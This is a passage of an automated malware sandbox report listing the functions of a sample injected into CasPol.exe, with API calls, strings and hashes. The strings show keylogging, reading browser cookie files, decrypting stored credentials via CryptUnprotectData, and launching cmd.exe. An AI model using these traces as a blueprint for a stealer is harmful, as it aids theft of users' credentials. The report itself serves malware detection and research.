                                                                                                                                                                                                  • Instruction Fuzzy Hash: 955120315082419BC328FB32D851AEFB3E5AFD4348F50493FF54AA71E2EF78594A8649
                                                                                                                                                                                                  Function 004434D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000104), ref: 00443515
                                                                                                                                                                                                  • _free.LIBCMT ref: 004435E0
                                                                                                                                                                                                  • _free.LIBCMT ref: 004435EA
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$FileModuleName
                                                                                                                                                                                                  • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                  • API String ID: 2506810119-3657627342
                                                                                                                                                                                                  • Opcode ID: 85df99244543f45e80e68b9da345e50485f416d8f0a3fa02bb076d818d98866e
                                                                                                                                                                                                  • Instruction ID: e5efe6401a3e5f1db0e1141fbbc5a3d1caea7301f6195c2e8eaff0a3f5655f7e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 85df99244543f45e80e68b9da345e50485f416d8f0a3fa02bb076d818d98866e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D63193B1A00254BFEB21DF9A998199EBBF8EB84B15F10406BF40597311D6B88F41CB99
                                                                                                                                                                                                  Function 10004BDD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000104), ref: 10004C1D
                                                                                                                                                                                                  • _free.LIBCMT ref: 10004CE8
                                                                                                                                                                                                  • _free.LIBCMT ref: 10004CF2
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$FileModuleName
                                                                                                                                                                                                  • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                  • API String ID: 2506810119-3657627342
                                                                                                                                                                                                  • Opcode ID: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                                                                                                                                                                                                  • Instruction ID: 12f2da1a58c9c923660241357757b5dddff340f6d61411cdc8d35d961f62cc7a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                                                                                                                                                                                                  • Instruction Fuzzy Hash: EB31A0B5A01258EFFB51CF99CC81D9EBBFCEB88390F12806AF80497215DA709E41CB54
                                                                                                                                                                                                  Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                                                                                                                                                                                                    • Part of subcall function 0041BA09: GetCurrentProcessId.KERNEL32(00000000,7570D4DF,00000000,?,?,?,?,00466478,0040D248,.vbs,?,?,?,?,?,004752F0), ref: 0041BA30
                                                                                                                                                                                                    • Part of subcall function 004185A3: CloseHandle.KERNEL32(004040F5), ref: 004185B9
                                                                                                                                                                                                    • Part of subcall function 004185A3: CloseHandle.KERNEL32(00465E84), ref: 004185C2
                                                                                                                                                                                                    • Part of subcall function 0041C516: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C52F
                                                                                                                                                                                                  • Sleep.KERNEL32(000000FA,00465E84), ref: 00404138
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                                                                                                                                                                                  • String ID: /sort "Visit Time" /stext "$0NG
                                                                                                                                                                                                  • API String ID: 368326130-3219657780
                                                                                                                                                                                                  • Opcode ID: 87d770fe459356d938983b865b1cd302a3835d7c71cdc7891b93df328c2921e7
                                                                                                                                                                                                  • Instruction ID: 7a7c83aa22bf4ff3424ba87d95d637a61540eed1193ecfb54830ab602693969f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 87d770fe459356d938983b865b1cd302a3835d7c71cdc7891b93df328c2921e7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2C316371A0011956CB15FBA6DC569ED7375AF90308F00007FF60AB71E2EF785D49CA99
                                                                                                                                                                                                  Function 0041631F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _wcslen.LIBCMT ref: 00416330
                                                                                                                                                                                                    • Part of subcall function 004138B2: RegCreateKeyA.ADVAPI32(80000001,00000000,004660B4), ref: 004138C0
                                                                                                                                                                                                    • Part of subcall function 004138B2: RegSetValueExA.KERNEL32(004660B4,000000AF,00000000,00000004,00000001,00000004), ref: 004138DB
                                                                                                                                                                                                    • Part of subcall function 004138B2: RegCloseKey.KERNEL32(004660B4), ref: 004138E6
                                                                                                                                                                                                    • Part of subcall function 00409E1F: _wcslen.LIBCMT ref: 00409E38
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _wcslen$CloseCreateValue
                                                                                                                                                                                                  • String ID: !D@$okmode$PG
                                                                                                                                                                                                  • API String ID: 3411444782-3370592832
                                                                                                                                                                                                  • Opcode ID: 85a472a8ed9fba8d48a13707545644fa305d45b1f9b2fecff8dfdaf9ddb1d636
                                                                                                                                                                                                  • Instruction ID: 097cdf197a66b89fefcd85ce8a19d7acc75244c7017ebd4eb32b8c3ef24b572d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 85a472a8ed9fba8d48a13707545644fa305d45b1f9b2fecff8dfdaf9ddb1d636
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1E11A571B442011BDA187B32D862BBD22969F84348F80843FF546AF2E2DFBD4C51975D
                                                                                                                                                                                                  Function 0040C627 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040C4FE: PathFileExistsW.SHLWAPI(00000000), ref: 0040C531
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0040C658
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0040C6C3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • User Data\Profile ?\Network\Cookies, xrefs: 0040C670
                                                                                                                                                                                                  • User Data\Default\Network\Cookies, xrefs: 0040C63E
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExistsFilePath
                                                                                                                                                                                                  • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                                                                                                                                                                                  • API String ID: 1174141254-1980882731
                                                                                                                                                                                                  • Opcode ID: d340a52fd8d1078a812560c7ffc03c5fafbdbc6e30ffa616e893859f76221ba6
                                                                                                                                                                                                  • Instruction ID: a3c4a2fc075df05cc4efb8d324c4514c6f5a9a9113215be8183f294a60e8cc46
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d340a52fd8d1078a812560c7ffc03c5fafbdbc6e30ffa616e893859f76221ba6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0621E27190011A96CB14FBA2DC96DEEBB7CAE50319B40053FF506B31D2EF789946C6D8
                                                                                                                                                                                                  Function 0040C6F6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040C561: PathFileExistsW.SHLWAPI(00000000), ref: 0040C594
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0040C727
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0040C792
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • User Data\Profile ?\Network\Cookies, xrefs: 0040C73F
                                                                                                                                                                                                  • User Data\Default\Network\Cookies, xrefs: 0040C70D
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExistsFilePath
                                                                                                                                                                                                  • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                                                                                                                                                                                  • API String ID: 1174141254-1980882731
                                                                                                                                                                                                  • Opcode ID: a04e00169c7cbbbccb250a5240b13a8e35c904a89c0728d580383dd97c6ecba8
                                                                                                                                                                                                  • Instruction ID: 531025beeaae0c5c42121d483a56170e39db3028f8febaf9efde6b64dfa31b71
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a04e00169c7cbbbccb250a5240b13a8e35c904a89c0728d580383dd97c6ecba8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4821127190011A96CB04F7A2DC96CEEBB78AE50359B40013FF506B31D2EF789946C6D8
                                                                                                                                                                                                  Function 0040B19F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68timeCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B1AD
                                                                                                                                                                                                  • wsprintfW.USER32 ref: 0040B22E
                                                                                                                                                                                                    • Part of subcall function 0040A671: SetEvent.KERNEL32(?,?,?,0040B86A,?,?,?,?,?,00000000), ref: 0040A69D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: EventLocalTimewsprintf
                                                                                                                                                                                                  • String ID: [%04i/%02i/%02i %02i:%02i:%02i $]
                                                                                                                                                                                                  • API String ID: 1497725170-1359877963
                                                                                                                                                                                                  • Opcode ID: 06c3bad099b03f5bfd1d77d0a6934743afda3855c33f854b134d7284dad7d650
                                                                                                                                                                                                  • Instruction ID: 4bcbbea8953a56f0834a7592719eb704c83d71ae81c48fe005db4fd1b538d991
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 06c3bad099b03f5bfd1d77d0a6934743afda3855c33f854b134d7284dad7d650
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 88114272404118AACB19AB96EC55CFE77BCEE48315B00012FF506A61D1FF7C5A45C6AD
                                                                                                                                                                                                  Function 0040AF29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040B19F: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B1AD
                                                                                                                                                                                                    • Part of subcall function 0040B19F: wsprintfW.USER32 ref: 0040B22E
                                                                                                                                                                                                    • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,Function_0000A2A2,?,00000000,00000000), ref: 0040AFA9
                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,Function_0000A2C4,?,00000000,00000000), ref: 0040AFB5
                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,0040A2D0,?,00000000,00000000), ref: 0040AFC1
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CreateThread$LocalTime$wsprintf
                                                                                                                                                                                                  • String ID: Online Keylogger Started
                                                                                                                                                                                                  • API String ID: 112202259-1258561607
                                                                                                                                                                                                  • Opcode ID: 365fe234e7c63b24606a5b5b17b3dee8777c5a3443b42bc0c5888d8fa6c2e7ce
                                                                                                                                                                                                  • Instruction ID: 1fd114496b08e8c1d91a2f23279a740fccf8855fe00c80ef0b78f2cd7c44f0e8
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 365fe234e7c63b24606a5b5b17b3dee8777c5a3443b42bc0c5888d8fa6c2e7ce
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2A01C4A07003193EE62076368C8BDBF7A6DCA91398F4004BFF641362C2E97D1C1586FA
                                                                                                                                                                                                  Function 00406A9E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(crypt32), ref: 00406ABD
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00406AC4
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                  • String ID: CryptUnprotectData$crypt32
                                                                                                                                                                                                  • API String ID: 2574300362-2380590389
                                                                                                                                                                                                  • Opcode ID: 905686a6130e311fdcec2a0cd22c75bab7e39712089f0cc697143e337071fc99
                                                                                                                                                                                                  • Instruction ID: 59ed3cbb63f31e38ea488d6bd85f24bb9ff1ce5495ed4d1509158228521d53cd
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 905686a6130e311fdcec2a0cd22c75bab7e39712089f0cc697143e337071fc99
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2C01B975604216BBCB18CFAD9D449AF7BB4AB45300B00417EE956E3381DA74E9008B95
                                                                                                                                                                                                  Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 004051CA
                                                                                                                                                                                                  • SetEvent.KERNEL32(?), ref: 004051D9
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseEventHandleObjectSingleWait
                                                                                                                                                                                                  • String ID: Connection Timeout
                                                                                                                                                                                                  • API String ID: 2055531096-499159329
                                                                                                                                                                                                  • Opcode ID: 9f6ecd509c0a7bd309a8898773f2a48374a0d847cbc707063012ebd492618a2f
                                                                                                                                                                                                  • Instruction ID: b176daa04f7f78a72cd0d213bf0bcd41e0e3849ccec9e2477ca34bbc74fb9340
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9f6ecd509c0a7bd309a8898773f2a48374a0d847cbc707063012ebd492618a2f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C901F530940F00AFD7216B368D8642BBFE0EF00306704093EE68356AE2D6789800CF89
                                                                                                                                                                                                  Function 0040E800 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E86E
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Exception@8Throw
                                                                                                                                                                                                  • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                                                                                                                                                                                  • API String ID: 2005118841-1866435925
                                                                                                                                                                                                  • Opcode ID: 393980db8800f491ea7c1a59f80fc085f11d752c19bfb05bf36f8e27219a3784
                                                                                                                                                                                                  • Instruction ID: 287a1f786264602a2f100ba68ee8cd07dacd1bfc9ef62352ff5e55a88b78f620
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 393980db8800f491ea7c1a59f80fc085f11d752c19bfb05bf36f8e27219a3784
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 59018F626583087AEB14B697CC03FBA33685B10708F10CC3BBD01765C2EA7D6A61C66F
                                                                                                                                                                                                  Function 0041384F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegCreateKeyW.ADVAPI32(80000001,00000000,004752D8), ref: 0041385A
                                                                                                                                                                                                  • RegSetValueExW.ADVAPI32 ref: 00413888
                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(004752D8), ref: 00413893
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseCreateValue
                                                                                                                                                                                                  • String ID: pth_unenc
                                                                                                                                                                                                  • API String ID: 1818849710-4028850238
                                                                                                                                                                                                  • Opcode ID: 5c236e770f027b7b6dfc699725bd7ba66defa52264e3e321846078cfa9e8a7ba
                                                                                                                                                                                                  • Instruction ID: 9133f253890910ff78e8f434c24b82038cc7026402723a24ca4ec17c3e6d8cb5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5c236e770f027b7b6dfc699725bd7ba66defa52264e3e321846078cfa9e8a7ba
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 15F0C271440218FBCF00AFA1EC45FEE376CEF00756F10452AF905A61A1E7759E04DA94
                                                                                                                                                                                                  Function 0040DFE1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 0040DFEC
                                                                                                                                                                                                  • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040E02B
                                                                                                                                                                                                    • Part of subcall function 004356CD: _Yarn.LIBCPMT ref: 004356EC
                                                                                                                                                                                                    • Part of subcall function 004356CD: _Yarn.LIBCPMT ref: 00435710
                                                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E051
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                                                                                                                                                                                                  • String ID: bad locale name
                                                                                                                                                                                                  • API String ID: 3628047217-1405518554
                                                                                                                                                                                                  • Opcode ID: 358b3f1522e08b03a3202c9f95d61a93da44700bf44d5321e5e8d61ced44f7e6
                                                                                                                                                                                                  • Instruction ID: 7f9ccd90240ef42149755af47b5df127ed13e8783c268b42739d505c0e35a915
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 358b3f1522e08b03a3202c9f95d61a93da44700bf44d5321e5e8d61ced44f7e6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 77F08131544A085AC338FA62D863DDA73B49F14358F50457FB406268D2EF78BA0CCA9D
                                                                                                                                                                                                  Function 00416C68 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateThread.KERNEL32(00000000,00000000,Function_0001D4EE,00000000,00000000,00000000), ref: 00416C82
                                                                                                                                                                                                  • ShowWindow.USER32(00000009), ref: 00416C9C
                                                                                                                                                                                                  • SetForegroundWindow.USER32 ref: 00416CA8
                                                                                                                                                                                                    • Part of subcall function 0041CE2C: AllocConsole.KERNEL32 ref: 0041CE35
                                                                                                                                                                                                    • Part of subcall function 0041CE2C: GetConsoleWindow.KERNEL32 ref: 0041CE3B
                                                                                                                                                                                                    • Part of subcall function 0041CE2C: ShowWindow.USER32(00000000,00000000), ref: 0041CE4E
                                                                                                                                                                                                    • Part of subcall function 0041CE2C: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CE73
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Window$Console$Show$AllocCreateForegroundOutputThread
                                                                                                                                                                                                  • String ID: !D@
                                                                                                                                                                                                  • API String ID: 186401046-604454484
                                                                                                                                                                                                  • Opcode ID: 66a4db702971166e51169c96c42166a39a03490b62fdad1c1d9be1af324f9392
                                                                                                                                                                                                  • Instruction ID: 9f5213224becab59645eda34593d96b16d6ada18beeab21aaf628210512d7754
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 66a4db702971166e51169c96c42166a39a03490b62fdad1c1d9be1af324f9392
                                                                                                                                                                                                  • Instruction Fuzzy Hash: ECF05E70149340EAD720AB62ED45AFA7B69EB54341F01487BF909C20F2DB389C94865E
                                                                                                                                                                                                  Function 00416129 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 0041616B
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
